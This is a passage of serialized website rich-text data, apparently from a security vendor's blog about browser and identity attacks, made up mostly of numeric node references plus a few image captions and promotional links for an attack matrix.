:46709,"nodeType":866},{},[46710,46713,46719,46722,46728],{"data":46711,"marks":46712,"value":12817,"nodeType":865},{},[],{"data":46714,"content":46715,"nodeType":889},{"uri":12820},[46716],{"data":46717,"marks":46718,"value":12825,"nodeType":865},{},[],{"data":46720,"marks":46721,"value":12829,"nodeType":865},{},[],{"data":46723,"content":46724,"nodeType":889},{"uri":5739},[46725],{"data":46726,"marks":46727,"value":12836,"nodeType":865},{},[],{"data":46729,"marks":46730,"value":12840,"nodeType":865},{},[],{"data":46732,"content":46733,"nodeType":866},{},[46734],{"data":46735,"marks":46736,"value":12847,"nodeType":865},{},[],{"data":46738,"content":46739,"nodeType":1317},{},[46740],{"data":46741,"marks":46742,"value":12855,"nodeType":865},{},[46743],{"type":926},{"data":46745,"content":46746,"nodeType":866},{},[46747,46750,46756],{"data":46748,"marks":46749,"value":12862,"nodeType":865},{},[],{"data":46751,"content":46752,"nodeType":889},{"uri":1951},[46753],{"data":46754,"marks":46755,"value":12869,"nodeType":865},{},[],{"data":46757,"marks":46758,"value":12873,"nodeType":865},{},[],{"data":46760,"content":46761,"nodeType":866},{},[46762],{"data":46763,"marks":46764,"value":12880,"nodeType":865},{},[],{"data":46766,"content":46767,"nodeType":866},{},[46768],{"data":46769,"marks":46770,"value":12887,"nodeType":865},{},[],{"data":46772,"content":46775,"nodeType":912},{"target":46773},{"sys":46774},{"id":12892,"type":909,"linkType":910},[],{"data":46777,"content":46778,"nodeType":866},{},[46779],{"data":46780,"marks":46781,"value":12900,"nodeType":865},{},[],{"data":46783,"content":46784,"nodeType":1317},{},[46785],{"data":46786,"marks":46787,"value":12908,"nodeType":865},{},[46788],{"type":926},{"data":46790,"content":46791,"nodeType":866},{},[46792,46795,46801],{"data":46793,"marks":46794,"value":12915,"nodeType":865},{},[],{"data":46796,"content":46797,"nodeType":889},{"uri":3720},[46798],{"data":46799,"marks":46800,"value":12922,"nodeType":865},{},[],{"data":46802,"marks":46803,"value":12926,"nodeType":865},{},[],{"data":46805,"content":46806,"nodeType":866},{},[46807],{"data":46808,"marks":46809,"value":12933,"nodeType":865},{},[],{"data":46811,"content":46812,"nodeType":866},{},[46813,46816,46823],{"data":46814,"marks":46815,"value":12940,"nodeType":865},{},[],{"data":46817,"content":46818,"nodeType":889},{"uri":3720},[46819],{"data":46820,"marks":46821,"value":12948,"nodeType":865},{},[46822],{"type":943},{"data":46824,"marks":46825,"value":12952,"nodeType":865},{},[],{"data":46827,"content":46828,"nodeType":866},{},[46829],{"data":46830,"marks":46831,"value":12959,"nodeType":865},{},[],{"data":46833,"content":46834,"nodeType":972},{},[],{"data":46836,"content":46837,"nodeType":981},{},[46838],{"data":46839,"marks":46840,"value":12970,"nodeType":865},{},[46841],{"type":926},{"data":46843,"content":46844,"nodeType":866},{},[46845],{"data":46846,"marks":46847,"value":12977,"nodeType":865},{},[],{"data":46849,"content":46850,"nodeType":1616},{},[46851,46869,46887,46905],{"data":46852,"content":46853,"nodeType":1570},{},[46854],{"data":46855,"content":46856,"nodeType":866},{},[46857,46860,46866],{"data":46858,"marks":46859,"value":12990,"nodeType":865},{},[],{"data":46861,"content":46862,"nodeType":889},{"uri":4991},[46863],{"data":46864,"marks":46865,"value":8673,"nodeType":865},{},[],{"data":46867,"marks":46868,"value":13000,"nodeType":865},{},[],{"data":46870,"content":46871,"nodeType":1570},{},[46872],{"data":46873,"content":46874,"nodeType":866},{},[46875,46878,46884],{"data":46876,"marks":46877,"value":13010,"nodeType":865},{},[],{"data":46879,"content":46880,"nodeType":889},{"uri":13013},[46881],{"data":46882,"marks":46883,"value":13018,"nodeType":865},{},[],{"data":46885,"marks":46886,"value":13022,"nodeType":865},{},[],{"data":46888,"content":46889,"nodeType":1570},{},[46890],{"data":46891,"content":46892,"nodeType":866},{},[46893,46896,46902],{"data":46894,"marks":46895,"value":12990,"nodeType":865},{},[],{"data":46897,"content":46898,"nodeType":889},{"uri":7472},[46899],{"data":46900,"marks":46901,"value":13038,"nodeType":865},{},[],{"data":46903,"marks":46904,"value":13042,"nodeType":865},{},[],{"data":46906,"content":46907,"nodeType":1570},{},[46908],{"data":46909,"content":46910,"nodeType":866},{},[46911,46914,46920],{"data":46912,"marks":46913,"value":1449,"nodeType":865},{},[],{"data":46915,"content":46916,"nodeType":889},{"uri":13054},[46917],{"data":46918,"marks":46919,"value":3493,"nodeType":865},{},[],{"data":46921,"marks":46922,"value":13062,"nodeType":865},{},[],{"data":46924,"content":46925,"nodeType":866},{},[46926],{"data":46927,"marks":46928,"value":13069,"nodeType":865},{},[],{"data":46930,"content":46931,"nodeType":866},{},[46932,46935,46939],{"data":46933,"marks":46934,"value":13076,"nodeType":865},{},[],{"data":46936,"marks":46937,"value":13081,"nodeType":865},{},[46938],{"type":926},{"data":46940,"marks":46941,"value":13085,"nodeType":865},{},[],{"data":46943,"content":46944,"nodeType":972},{},[],{"data":46946,"content":46947,"nodeType":981},{},[46948,46952,46957,46961,46966],{"data":46949,"marks":46950,"value":13096,"nodeType":865},{},[46951],{"type":926},{"data":46953,"marks":46954,"value":13102,"nodeType":865},{},[46955,46956],{"type":898},{"type":926},{"data":46958,"marks":46959,"value":13107,"nodeType":865},{},[46960],{"type":926},{"data":46962,"marks":46963,"value":13113,"nodeType":865},{},[46964,46965],{"type":898},{"type":926},{"data":46967,"marks":46968,"value":13118,"nodeType":865},{},[46969],{"type":926},{"data":46971,"content":46972,"nodeType":866},{},[46973,46976,46982],{"data":46974,"marks":46975,"value":13125,"nodeType":865},{},[],{"data":46977,"content":46978,"nodeType":889},{"uri":7959},[46979],{"data":46980,"marks":46981,"value":13132,"nodeType":865},{},[],{"data":46983,"marks":46984,"value":13136,"nodeType":865},{},[],{"data":46986,"content":46987,"nodeType":866},{},[46988],{"data":46989,"marks":46990,"value":13143,"nodeType":865},{},[],{"data":46992,"content":46993,"nodeType":866},{},[46994],{"data":46995,"marks":46996,"value":13150,"nodeType":865},{},[],{"data":46998,"content":46999,"nodeType":972},{},[],{"data":47001,"content":47002,"nodeType":981},{},[47003],{"data":47004,"marks":47005,"value":13161,"nodeType":865},{},[47006],{"type":926},{"data":47008,"content":47009,"nodeType":866},{},[47010,47013,47019],{"data":47011,"marks":47012,"value":13168,"nodeType":865},{},[],{"data":47014,"content":47015,"nodeType":889},{"uri":13171},[47016],{"data":47017,"marks":47018,"value":11198,"nodeType":865},{},[],{"data":47020,"marks":47021,"value":13179,"nodeType":865},{},[],{"data":47023,"content":47024,"nodeType":866},{},[47025],{"data":47026,"marks":47027,"value":13186,"nodeType":865},{},[],{"data":47029,"content":47030,"nodeType":866},{},[47031],{"data":47032,"marks":47033,"value":13193,"nodeType":865},{},[],{"data":47035,"content":47036,"nodeType":866},{},[47037,47040,47046],{"data":47038,"marks":47039,"value":13200,"nodeType":865},{},[],{"data":47041,"content":47042,"nodeType":889},{"uri":13203},[47043],{"data":47044,"marks":47045,"value":11198,"nodeType":865},{},[],{"data":47047,"marks":47048,"value":1615,"nodeType":865},{},[],{"data":47050,"content":47051,"nodeType":972},{},[],{"data":47053,"content":47054,"nodeType":981},{},[47055],{"data":47056,"marks":47057,"value":13221,"nodeType":865},{},[47058],{"type":926},{"data":47060,"content":47061,"nodeType":866},{},[47062],{"data":47063,"marks":47064,"value":13228,"nodeType":865},{},[],{"data":47066,"content":47067,"nodeType":1616},{},[47068,47077,47086],{"data":47069,"content":47070,"nodeType":1570},{},[47071],{"data":47072,"content":47073,"nodeType":866},{},[47074],{"data":47075,"marks":47076,"value":13241,"nodeType":865},{},[],{"data":47078,"content":47079,"nodeType":1570},{},[47080],{"data":47081,"content":47082,"nodeType":866},{},[47083],{"data":47084,"marks":47085,"value":13251,"nodeType":865},{},[],{"data":47087,"content":47088,"nodeType":1570},{},[47089],{"data":47090,"content":47091,"nodeType":866},{},[47092],{"data":47093,"marks":47094,"value":13261,"nodeType":865},{},[],{"data":47096,"content":47097,"nodeType":866},{},[47098],{"data":47099,"marks":47100,"value":13268,"nodeType":865},{},[],{"data":47102,"content":47103,"nodeType":866},{},[47104,47107,47113],{"data":47105,"marks":47106,"value":13275,"nodeType":865},{},[],{"data":47108,"content":47109,"nodeType":889},{"uri":8393},[47110],{"data":47111,"marks":47112,"value":13282,"nodeType":865},{},[],{"data":47114,"marks":47115,"value":1615,"nodeType":865},{},[],{"data":47117,"content":47118,"nodeType":866},{},[47119,47122,47128],{"data":47120,"marks":47121,"value":13292,"nodeType":865},{},[],{"data":47123,"content":47124,"nodeType":889},{"uri":1419},[47125],{"data":47126,"marks":47127,"value":13299,"nodeType":865},{},[],{"data":47129,"marks":47130,"value":13303,"nodeType":865},{},[],{"data":47132,"content":47135,"nodeType":912},{"target":47133},{"sys":47134},{"id":13308,"type":909,"linkType":910},[],{"data":47137,"content":47138,"nodeType":972},{},[],{"data":47140,"content":47141,"nodeType":866},{},[47142],{"data":47143,"marks":47144,"value":13319,"nodeType":865},{},[],{"data":47146,"content":47147,"nodeType":866},{},[47148,47151,47157],{"data":47149,"marks":47150,"value":2290,"nodeType":865},{},[],{"data":47152,"content":47153,"nodeType":889},{"uri":1372},[47154],{"data":47155,"marks":47156,"value":2298,"nodeType":865},{},[],{"data":47158,"marks":47159,"value":2302,"nodeType":865},{},[],{"entries":47161},{"hyperlink":47162,"inline":47163,"block":47164},[],[],[47165,47169,47171,47179],{"sys":47166,"__typename":1390,"title":47167,"caption":59,"layoutMode":59,"file":47168},{"id":12573},"Browser & Identity Attacks Matrix Screenshot",{"url":8399,"width":8400,"height":8401},{"sys":47170,"__typename":1414,"type":1415,"ctaText":30702,"buttonLabel":30703,"buttonColour":1418,"buttonUrl":1419},{"id":12658},{"sys":47172,"__typename":1390,"title":47173,"caption":47174,"layoutMode":59,"file":47175},{"id":12892},"Device code phishing kit example","Device code phishing kit example.",{"url":47176,"width":47177,"height":47178},"https://images.ctfassets.net/y1cdw1ablpvd/2zbjCCqXRMTvaOr6Xpx2BJ/ccb3000b043b3bbc11a6d2315e66f6f1/Copy_of_Device_code_login_completion.gif",1280,720,{"sys":47180,"__typename":1414,"type":1415,"ctaText":47181,"buttonLabel":47182,"buttonColour":1418,"buttonUrl":8393},{"id":13308},"Check out the new-look Browser & Identity Attacks Matrix","See it Here",{"items":47184},[],{},"Stop browser attacks with our MITRE-inspired matrix",{"items":47188},[47189,48022,49741],{"__typename":1429,"sys":47190,"content":47191,"title":16369,"synopsis":16370,"hashTags":59,"publishedDate":13337,"slug":16371,"tagsCollection":48012,"authorsCollection":48018},{"id":15406},{"json":47192},{"data":47193,"content":47194,"nodeType":1382},{},[47195,47217,47241,47274,47307,47312,47322,47325,47332,47374,47380,47399,47404,47407,47414,47438,47444,47451,47456,47459,47466,47472,47487,47493,47526,47532,47535,47542,47557,47599,47602,47609,47624,47639,47646,47652,47662,47672,47682,47692,47707,47714,47720,47723,47729,47735,47750,47753,47760,47775,48006],{"data":47196,"content":47197,"nodeType":866},{},[47198,47201,47207,47210,47214],{"data":47199,"marks":47200,"value":15417,"nodeType":865},{},[],{"data":47202,"content":47203,"nodeType":889},{"uri":4991},[47204],{"data":47205,"marks":47206,"value":8673,"nodeType":865},{},[],{"data":47208,"marks":47209,"value":15427,"nodeType":865},{},[],{"data":47211,"marks":47212,"value":15432,"nodeType":865},{},[47213],{"type":926},{"data":47215,"marks":47216,"value":15436,"nodeType":865},{},[],{"data":47218,"content":47219,"nodeType":866},{},[47220,47223,47229,47232,47238],{"data":47221,"marks":47222,"value":15443,"nodeType":865},{},[],{"data":47224,"content":47225,"nodeType":889},{"uri":15446},[47226],{"data":47227,"marks":47228,"value":15451,"nodeType":865},{},[],{"data":47230,"marks":47231,"value":15455,"nodeType":865},{},[],{"data":47233,"content":47234,"nodeType":889},{"uri":15458},[47235],{"data":47236,"marks":47237,"value":15463,"nodeType":865},{},[],{"data":47239,"marks":47240,"value":15467,"nodeType":865},{},[],{"data":47242,"content":47243,"nodeType":866},{},[47244,47247,47253,47256,47262,47265,47271],{"data":47245,"marks":47246,"value":15474,"nodeType":865},{},[],{"data":47248,"content":47249,"nodeType":889},{"uri":15477},[47250],{"data":47251,"marks":47252,"value":15482,"nodeType":865},{},[],{"data":47254,"marks":47255,"value":15486,"nodeType":865},{},[],{"data":47257,"content":47258,"nodeType":889},{"uri":15489},[47259],{"data":47260,"marks":47261,"value":15494,"nodeType":865},{},[],{"data":47263,"marks":47264,"value":15498,"nodeType":865},{},[],{"data":47266,"content":47267,"nodeType":889},{"uri":15501},[47268],{"data":47269,"marks":47270,"value":15506,"nodeType":865},{},[],{"data":47272,"marks":47273,"value":15510,"nodeType":865},{},[],{"data":47275,"content":47276,"nodeType":866},{},[47277,47280,47286,47289,47295,47298,47304],{"data":47278,"marks":47279,"value":15517,"nodeType":865},{},[],{"data":47281,"content":47282,"nodeType":889},{"uri":15520},[47283],{"data":47284,"marks":47285,"value":15525,"nodeType":865},{},[],{"data":47287,"marks":47288,"value":15529,"nodeType":865},{},[],{"data":47290,"content":47291,"nodeType":889},{"uri":15532},[47292],{"data":47293,"marks":47294,"value":15537,"nodeType":865},{},[],{"data":47296,"marks":47297,"value":15541,"nodeType":865},{},[],{"data":47299,"content":47300,"nodeType":889},{"uri":15544},[47301],{"data":47302,"marks":47303,"value":15549,"nodeType":865},{},[],{"data":47305,"marks":47306,"value":15553,"nodeType":865},{},[],{"data":47308,"content":47311,"nodeType":912},{"target":47309},{"sys":47310},{"id":15558,"type":909,"linkType":910},[],{"data":47313,"content":47314,"nodeType":866},{},[47315,47319],{"data":47316,"marks":47317,"value":15567,"nodeType":865},{},[47318],{"type":926},{"data":47320,"marks":47321,"value":15571,"nodeType":865},{},[],{"data":47323,"content":47324,"nodeType":972},{},[],{"data":47326,"content":47327,"nodeType":981},{},[47328],{"data":47329,"marks":47330,"value":15582,"nodeType":865},{},[47331],{"type":926},{"data":47333,"content":47334,"nodeType":866},{},[47335,47338,47344,47347,47353,47356,47362,47365,47371],{"data":47336,"marks":47337,"value":15589,"nodeType":865},{},[],{"data":47339,"content":47340,"nodeType":889},{"uri":15592},[47341],{"data":47342,"marks":47343,"value":15597,"nodeType":865},{},[],{"data":47345,"marks":47346,"value":14216,"nodeType":865},{},[],{"data":47348,"content":47349,"nodeType":889},{"uri":15603},[47350],{"data":47351,"marks":47352,"value":15608,"nodeType":865},{},[],{"data":47354,"marks":47355,"value":14629,"nodeType":865},{},[],{"data":47357,"content":47358,"nodeType":889},{"uri":15489},[47359],{"data":47360,"marks":47361,"value":15618,"nodeType":865},{},[],{"data":47363,"marks":47364,"value":15622,"nodeType":865},{},[],{"data":47366,"content":47367,"nodeType":889},{"uri":13633},[47368],{"data":47369,"marks":47370,"value":15629,"nodeType":865},{},[],{"data":47372,"marks":47373,"value":1615,"nodeType":865},{},[],{"data":47375,"content":47376,"nodeType":866},{},[47377],{"data":47378,"marks":47379,"value":15639,"nodeType":865},{},[],{"data":47381,"content":47382,"nodeType":866},{},[47383,47386,47392,47395],{"data":47384,"marks":47385,"value":15646,"nodeType":865},{},[],{"data":47387,"content":47388,"nodeType":889},{"uri":13633},[47389],{"data":47390,"marks":47391,"value":15653,"nodeType":865},{},[],{"data":47393,"marks":47394,"value":15657,"nodeType":865},{},[],{"data":47396,"marks":47397,"value":15662,"nodeType":865},{},[47398],{"type":926},{"data":47400,"content":47403,"nodeType":912},{"target":47401},{"sys":47402},{"id":15667,"type":909,"linkType":910},[],{"data":47405,"content":47406,"nodeType":972},{},[],{"data":47408,"content":47409,"nodeType":981},{},[47410],{"data":47411,"marks":47412,"value":15679,"nodeType":865},{},[47413],{"type":926},{"data":47415,"content":47416,"nodeType":866},{},[47417,47420,47426,47429,47435],{"data":47418,"marks":47419,"value":1449,"nodeType":865},{},[],{"data":47421,"content":47422,"nodeType":889},{"uri":13013},[47423],{"data":47424,"marks":47425,"value":15692,"nodeType":865},{},[],{"data":47427,"marks":47428,"value":15696,"nodeType":865},{},[],{"data":47430,"content":47431,"nodeType":889},{"uri":15501},[47432],{"data":47433,"marks":47434,"value":15703,"nodeType":865},{},[],{"data":47436,"marks":47437,"value":15707,"nodeType":865},{},[],{"data":47439,"content":47440,"nodeType":866},{},[47441],{"data":47442,"marks":47443,"value":15714,"nodeType":865},{},[],{"data":47445,"content":47446,"nodeType":866},{},[47447],{"data":47448,"marks":47449,"value":15722,"nodeType":865},{},[47450],{"type":926},{"data":47452,"content":47455,"nodeType":912},{"target":47453},{"sys":47454},{"id":15727,"type":909,"linkType":910},[],{"data":47457,"content":47458,"nodeType":972},{},[],{"data":47460,"content":47461,"nodeType":981},{},[47462],{"data":47463,"marks":47464,"value":15739,"nodeType":865},{},[47465],{"type":926},{"data":47467,"content":47468,"nodeType":866},{},[47469],{"data":47470,"marks":47471,"value":15746,"nodeType":865},{},[],{"data":47473,"content":47474,"nodeType":866},{},[47475,47478,47484],{"data":47476,"marks":47477,"value":1449,"nodeType":865},{},[],{"data":47479,"content":47480,"nodeType":889},{"uri":15755},[47481],{"data":47482,"marks":47483,"value":15760,"nodeType":865},{},[],{"data":47485,"marks":47486,"value":15764,"nodeType":865},{},[],{"data":47488,"content":47489,"nodeType":866},{},[47490],{"data":47491,"marks":47492,"value":15771,"nodeType":865},{},[],{"data":47494,"content":47495,"nodeType":866},{},[47496,47499,47505,47508,47514,47517,47523],{"data":47497,"marks":47498,"value":15778,"nodeType":865},{},[],{"data":47500,"content":47501,"nodeType":889},{"uri":15781},[47502],{"data":47503,"marks":47504,"value":15786,"nodeType":865},{},[],{"data":47506,"marks":47507,"value":15790,"nodeType":865},{},[],{"data":47509,"content":47510,"nodeType":889},{"uri":15793},[47511],{"data":47512,"marks":47513,"value":15798,"nodeType":865},{},[],{"data":47515,"marks":47516,"value":15802,"nodeType":865},{},[],{"data":47518,"content":47519,"nodeType":889},{"uri":3841},[47520],{"data":47521,"marks":47522,"value":15809,"nodeType":865},{},[],{"data":47524,"marks":47525,"value":15813,"nodeType":865},{},[],{"data":47527,"content":47528,"nodeType":866},{},[47529],{"data":47530,"marks":47531,"value":15820,"nodeType":865},{},[],{"data":47533,"content":47534,"nodeType":972},{},[],{"data":47536,"content":47537,"nodeType":981},{},[47538],{"data":47539,"marks":47540,"value":15831,"nodeType":865},{},[47541],{"type":926},{"data":47543,"content":47544,"nodeType":866},{},[47545,47548,47554],{"data":47546,"marks":47547,"value":15838,"nodeType":865},{},[],{"data":47549,"content":47550,"nodeType":889},{"uri":15841},[47551],{"data":47552,"marks":47553,"value":15846,"nodeType":865},{},[],{"data":47555,"marks":47556,"value":15850,"nodeType":865},{},[],{"data":47558,"content":47559,"nodeType":866},{},[47560,47563,47569,47572,47578,47581,47587,47590,47596],{"data":47561,"marks":47562,"value":15857,"nodeType":865},{},[],{"data":47564,"content":47565,"nodeType":889},{"uri":15860},[47566],{"data":47567,"marks":47568,"value":15865,"nodeType":865},{},[],{"data":47570,"marks":47571,"value":15869,"nodeType":865},{},[],{"data":47573,"content":47574,"nodeType":889},{"uri":15872},[47575],{"data":47576,"marks":47577,"value":15877,"nodeType":865},{},[],{"data":47579,"marks":47580,"value":15881,"nodeType":865},{},[],{"data":47582,"content":47583,"nodeType":889},{"uri":15884},[47584],{"data":47585,"marks":47586,"value":15889,"nodeType":865},{},[],{"data":47588,"marks":47589,"value":15893,"nodeType":865},{},[],{"data":47591,"content":47592,"nodeType":889},{"uri":15896},[47593],{"data":47594,"marks":47595,"value":15901,"nodeType":865},{},[],{"data":47597,"marks":47598,"value":15905,"nodeType":865},{},[],{"data":47600,"content":47601,"nodeType":972},{},[],{"data":47603,"content":47604,"nodeType":981},{},[47605],{"data":47606,"marks":47607,"value":15916,"nodeType":865},{},[47608],{"type":926},{"data":47610,"content":47611,"nodeType":866},{},[47612,47615,47621],{"data":47613,"marks":47614,"value":15923,"nodeType":865},{},[],{"data":47616,"content":47617,"nodeType":889},{"uri":1951},[47618],{"data":47619,"marks":47620,"value":15930,"nodeType":865},{},[],{"data":47622,"marks":47623,"value":15934,"nodeType":865},{},[],{"data":47625,"content":47626,"nodeType":866},{},[47627,47630,47636],{"data":47628,"marks":47629,"value":15941,"nodeType":865},{},[],{"data":47631,"content":47632,"nodeType":889},{"uri":15944},[47633],{"data":47634,"marks":47635,"value":315,"nodeType":865},{},[],{"data":47637,"marks":47638,"value":15952,"nodeType":865},{},[],{"data":47640,"content":47641,"nodeType":1317},{},[47642],{"data":47643,"marks":47644,"value":6331,"nodeType":865},{},[47645],{"type":926},{"data":47647,"content":47648,"nodeType":866},{},[47649],{"data":47650,"marks":47651,"value":15966,"nodeType":865},{},[],{"data":47653,"content":47654,"nodeType":866},{},[47655,47659],{"data":47656,"marks":47657,"value":15974,"nodeType":865},{},[47658],{"type":926},{"data":47660,"marks":47661,"value":15978,"nodeType":865},{},[],{"data":47663,"content":47664,"nodeType":866},{},[47665,47669],{"data":47666,"marks":47667,"value":15986,"nodeType":865},{},[47668],{"type":926},{"data":47670,"marks":47671,"value":15990,"nodeType":865},{},[],{"data":47673,"content":47674,"nodeType":866},{},[47675,47679],{"data":47676,"marks":47677,"value":15998,"nodeType":865},{},[47678],{"type":926},{"data":47680,"marks":47681,"value":16002,"nodeType":865},{},[],{"data":47683,"content":47684,"nodeType":866},{},[47685,47689],{"data":47686,"marks":47687,"value":16010,"nodeType":865},{},[47688],{"type":926},{"data":47690,"marks":47691,"value":16014,"nodeType":865},{},[],{"data":47693,"content":47694,"nodeType":866},{},[47695,47698,47704],{"data":47696,"marks":47697,"value":21,"nodeType":865},{},[],{"data":47699,"content":47700,"nodeType":889},{"uri":1256},[47701],{"data":47702,"marks":47703,"value":16027,"nodeType":865},{},[],{"data":47705,"marks":47706,"value":21,"nodeType":865},{},[],{"data":47708,"content":47709,"nodeType":1317},{},[47710],{"data":47711,"marks":47712,"value":16038,"nodeType":865},{},[47713],{"type":926},{"data":47715,"content":47716,"nodeType":866},{},[47717],{"data":47718,"marks":47719,"value":16045,"nodeType":865},{},[],{"data":47721,"content":47722,"nodeType":972},{},[],{"data":47724,"content":47725,"nodeType":866},{},[47726],{"data":47727,"marks":47728,"value":4591,"nodeType":865},{},[],{"data":47730,"content":47731,"nodeType":866},{},[47732],{"data":47733,"marks":47734,"value":1363,"nodeType":865},{},[],{"data":47736,"content":47737,"nodeType":866},{},[47738,47741,47747],{"data":47739,"marks":47740,"value":21,"nodeType":865},{},[],{"data":47742,"content":47743,"nodeType":889},{"uri":16069},[47744],{"data":47745,"marks":47746,"value":1378,"nodeType":865},{},[],{"data":47748,"marks":47749,"value":21,"nodeType":865},{},[],{"data":47751,"content":47752,"nodeType":972},{},[],{"data":47754,"content":47755,"nodeType":981},{},[47756],{"data":47757,"marks":47758,"value":16087,"nodeType":865},{},[47759],{"type":926},{"data":47761,"content":47762,"nodeType":866},{},[47763,47766,47772],{"data":47764,"marks":47765,"value":16094,"nodeType":865},{},[],{"data":47767,"content":47768,"nodeType":889},{"uri":4991},[47769],{"data":47770,"marks":47771,"value":16101,"nodeType":865},{},[],{"data":47773,"marks":47774,"value":16105,"nodeType":865},{},[],{"data":47776,"content":47777,"nodeType":2927},{},[47778,47821,47877,47920,47963],{"data":47779,"content":47780,"nodeType":2400},{},[47781,47791,47801,47811],{"data":47782,"content":47783,"nodeType":2366},{},[47784],{"data":47785,"content":47786,"nodeType":866},{},[47787],{"data":47788,"marks":47789,"value":16122,"nodeType":865},{},[47790],{"type":926},{"data":47792,"content":47793,"nodeType":2366},{},[47794],{"data":47795,"content":47796,"nodeType":866},{},[47797],{"data":47798,"marks":47799,"value":16133,"nodeType":865},{},[47800],{"type":926},{"data":47802,"content":47803,"nodeType":2366},{},[47804],{"data":47805,"content":47806,"nodeType":866},{},[47807],{"data":47808,"marks":47809,"value":16144,"nodeType":865},{},[47810],{"type":926},{"data":47812,"content":47813,"nodeType":2366},{},[47814],{"data":47815,"content":47816,"nodeType":866},{},[47817],{"data":47818,"marks":47819,"value":16155,"nodeType":865},{},[47820],{"type":926},{"data":47822,"content":47823,"nodeType":2400},{},[47824,47844,47853,47862],{"data":47825,"content":47826,"nodeType":2366},{},[47827],{"data":47828,"content":47829,"nodeType":866},{},[47830,47834,47837,47841],{"data":47831,"marks":47832,"value":16169,"nodeType":865},{},[47833],{"type":926},{"data":47835,"marks":47836,"value":16173,"nodeType":865},{},[],{"data":47838,"marks":47839,"value":16178,"nodeType":865},{},[47840],{"type":926},{"data":47842,"marks":47843,"value":16182,"nodeType":865},{},[],{"data":47845,"content":47846,"nodeType":2366},{},[47847],{"data":47848,"content":47849,"nodeType":866},{},[47850],{"data":47851,"marks":47852,"value":16192,"nodeType":865},{},[],{"data":47854,"content":47855,"nodeType":2366},{},[47856],{"data":47857,"content":47858,"nodeType":866},{},[47859],{"data":47860,"marks":47861,"value":16202,"nodeType":865},{},[],{"data":47863,"content":47864,"nodeType":2366},{},[47865,47871],{"data":47866,"content":47867,"nodeType":866},{},[47868],{"data":47869,"marks":47870,"value":16212,"nodeType":865},{},[],{"data":47872,"content":47873,"nodeType":866},{},[47874],{"data":47875,"marks":47876,"value":16219,"nodeType":865},{},[],{"data":47878,"content":47879,"nodeType":2400},{},[47880,47893,47902,47911],{"data":47881,"content":47882,"nodeType":2366},{},[47883],{"data":47884,"content":47885,"nodeType":866},{},[47886,47890],{"data":47887,"marks":47888,"value":16233,"nodeType":865},{},[47889],{"type":926},{"data":47891,"marks":47892,"value":16237,"nodeType":865},{},[],{"data":47894,"content":47895,"nodeType":2366},{},[47896],{"data":47897,"content":47898,"nodeType":866},{},[47899],{"data":47900,"marks":47901,"value":16247,"nodeType":865},{},[],{"data":47903,"content":47904,"nodeType":2366},{},[47905],{"data":47906,"content":47907,"nodeType":866},{},[47908],{"data":47909,"marks":47910,"value":16257,"nodeType":865},{},[],{"data":47912,"content":47913,"nodeType":2366},{},[47914],{"data":47915,"content":47916,"nodeType":866},{},[47917],{"data":47918,"marks":47919,"value":16267,"nodeType":865},{},[],{"data":47921,"content":47922,"nodeType":2400},{},[47923,47936,47945,47954],{"data":47924,"content":47925,"nodeType":2366},{},[47926],{"data":47927,"content":47928,"nodeType":866},{},[47929,47933],{"data":47930,"marks":47931,"value":16281,"nodeType":865},{},[47932],{"type":926},{"data":47934,"marks":47935,"value":16285,"nodeType":865},{},[],{"data":47937,"content":47938,"nodeType":2366},{},[47939],{"data":47940,"content":47941,"nodeType":866},{},[47942],{"data":47943,"marks":47944,"value":16295,"nodeType":865},{},[],{"data":47946,"content":47947,"nodeType":2366},{},[47948],{"data":47949,"content":47950,"nodeType":866},{},[47951],{"data":47952,"marks":47953,"value":16305,"nodeType":865},{},[],{"data":47955,"content":47956,"nodeType":2366},{},[47957],{"data":47958,"content":47959,"nodeType":866},{},[47960],{"data":47961,"marks":47962,"value":16315,"nodeType":865},{},[],{"data":47964,"content":47965,"nodeType":2400},{},[47966,47979,47988,47997],{"data":47967,"content":47968,"nodeType":2366},{},[47969],{"data":47970,"content":47971,"nodeType":866},{},[47972,47976],{"data":47973,"marks":47974,"value":16329,"nodeType":865},{},[47975],{"type":926},{"data":47977,"marks":47978,"value":16333,"nodeType":865},{},[],{"data":47980,"content":47981,"nodeType":2366},{},[47982],{"data":47983,"content":47984,"nodeType":866},{},[47985],{"data":47986,"marks":47987,"value":16192,"nodeType":865},{},[],{"data":47989,"content":47990,"nodeType":2366},{},[47991],{"data":47992,"content":47993,"nodeType":866},{},[47994],{"data":47995,"marks":47996,"value":16352,"nodeType":865},{},[],{"data":47998,"content":47999,"nodeType":2366},{},[48000],{"data":48001,"content":48002,"nodeType":866},{},[48003],{"data":48004,"marks":48005,"value":16362,"nodeType":865},{},[],{"data":48007,"content":48008,"nodeType":866},{},[48009],{"data":48010,"marks":48011,"value":21,"nodeType":865},{},[],{"items":48013},[48014,48016],{"sys":48015,"name":7796},{"id":7795},{"sys":48017,"name":342},{"id":4642},{"items":48019},[48020],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":48021},{"url":7804},{"__typename":1429,"sys":48023,"content":48024,"title":44860,"synopsis":44861,"hashTags":59,"publishedDate":44862,"slug":44863,"tagsCollection":49731,"authorsCollection":49737},{"id":42964},{"json":48025},{"data":48026,"content":48027,"nodeType":1382},{},[48028,48034,48058,48068,48074,48079,48089,48094,48097,48104,48110,48165,48171,48176,48179,48186,48192,48197,48204,48210,48318,48323,48328,48334,48339,48346,48352,48358,48413,48419,48424,48429,48436,48442,48448,48455,48461,48490,48496,48501,48507,48549,48555,48562,48568,48573,48579,48585,48590,48596,48625,48631,48636,48639,48646,48652,48658,48664,48669,48675,48681,48686,48692,48697,48703,48708,48714,48720,48723,48730,48743,48749,48765,48986,48992,49018,49239,49245,49251,49442,49448,49627,49630,49637,49643,49649,49659,49662,49669,49684,49699,49706,49709,49716],{"data":48029,"content":48030,"nodeType":866},{},[48031],{"data":48032,"marks":48033,"value":42975,"nodeType":865},{},[],{"data":48035,"content":48036,"nodeType":866},{},[48037,48040,48046,48049,48055],{"data":48038,"marks":48039,"value":42982,"nodeType":865},{},[],{"data":48041,"content":48042,"nodeType":889},{"uri":13013},[48043],{"data":48044,"marks":48045,"value":3825,"nodeType":865},{},[],{"data":48047,"marks":48048,"value":42992,"nodeType":865},{},[],{"data":48050,"content":48051,"nodeType":889},{"uri":42995},[48052],{"data":48053,"marks":48054,"value":43000,"nodeType":865},{},[],{"data":48056,"marks":48057,"value":43004,"nodeType":865},{},[],{"data":48059,"content":48060,"nodeType":866},{},[48061,48065],{"data":48062,"marks":48063,"value":43012,"nodeType":865},{},[48064],{"type":926},{"data":48066,"marks":48067,"value":2688,"nodeType":865},{},[],{"data":48069,"content":48070,"nodeType":866},{},[48071],{"data":48072,"marks":48073,"value":43022,"nodeType":865